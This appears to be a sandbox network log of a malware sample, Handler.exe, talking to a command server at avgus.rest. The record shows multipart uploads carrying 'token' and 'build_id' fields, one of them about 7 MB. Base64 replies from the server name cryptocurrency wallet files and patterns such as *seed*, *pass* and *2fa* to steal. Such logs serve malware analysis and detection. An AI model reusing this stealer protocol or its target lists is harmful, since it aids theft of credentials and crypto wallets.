2025-01-13 19:18:39 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5fdc7e196ce64f33a7d444e4647159ec&HASH=5fdc&LV=202501&V=4&LU=1736795919285; Domain=.microsoft.com; Expires=Tue, 13 Jan 2026 19:18:39 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=664c8b40586f4e5198100f68fab97384; Domain=.microsoft.com; Expires=Mon, 13 Jan 2025 19:48:39 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1969 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 13 Jan 2025 19:18:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49935	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:40 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----zcbasrq90hdjeua1v379 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 6990993 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:40 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 7a 63 62 61 73 72 71 39 30 68 64 6a 65 75 61 31 76 33 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 7a 63 62 61 73 72 71 39 30 68 64 6a 65 75 61 31 76 33 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 7a 63 62 61 73 72 71 39 30 68 64 6a 65 75 61 31 76 33 37 39 0d 0a 43 6f 6e 74 Data Ascii: ------zcbasrq90hdjeua1v379Content-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------zcbasrq90hdjeua1v379Content-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------zcbasrq90hdjeua1v379Cont
2025-01-13 19:18:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:40 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:47 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49943	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:42 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----d2djecbiwb1dbaas268y User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:42 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 32 64 6a 65 63 62 69 77 62 31 64 62 61 61 73 32 36 38 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 64 32 64 6a 65 63 62 69 77 62 31 64 62 61 61 73 32 36 38 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 64 32 64 6a 65 63 62 69 77 62 31 64 62 61 61 73 32 36 38 79 0d 0a 43 6f 6e 74 Data Ascii: ------d2djecbiwb1dbaas268yContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------d2djecbiwb1dbaas268yContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------d2djecbiwb1dbaas268yCont
2025-01-13 19:18:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:42 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49953	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:43 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----s0zmyusjeua1v3ectjec User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:43 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 73 30 7a 6d 79 75 73 6a 65 75 61 31 76 33 65 63 74 6a 65 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 73 30 7a 6d 79 75 73 6a 65 75 61 31 76 33 65 63 74 6a 65 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 73 30 7a 6d 79 75 73 6a 65 75 61 31 76 33 65 63 74 6a 65 63 0d 0a 43 6f 6e 74 Data Ascii: ------s0zmyusjeua1v3ectjecContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------s0zmyusjeua1v3ectjecContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------s0zmyusjeua1v3ectjecCont
2025-01-13 19:18:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:44 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 45 56 54 53 31 52 50 55 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e Data Ascii: 5e8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0Yn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49964	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:44 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----gvk6phlxtj5p8q1ny58y User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:44 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 67 76 6b 36 70 68 6c 78 74 6a 35 70 38 71 31 6e 79 35 38 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 67 76 6b 36 70 68 6c 78 74 6a 35 70 38 71 31 6e 79 35 38 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 67 76 6b 36 70 68 6c 78 74 6a 35 70 38 71 31 6e 79 35 38 79 0d 0a 43 6f 6e 74 Data Ascii: ------gvk6phlxtj5p8q1ny58yContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------gvk6phlxtj5p8q1ny58yContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------gvk6phlxtj5p8q1ny58yCont
2025-01-13 19:18:45 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:45 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49989	172.217.165.129	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:48 UTC	594	OUT	GET /crx/blobs/AcmIXbpGoRruM6Rg2pdHIUfNGnvAwJcqpFoWJV4Xd6PeYFnv5YpJ0-GVzjWL6XpCDzrg9cVo2bTwfPVau85UdyeFfZQe-rOdS7oyguq-391NmfeQd9WZZkjpgIbL1I5KKEcAxlKa5Z8JDrufy52udyO9TokqhOw4Sbnj/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
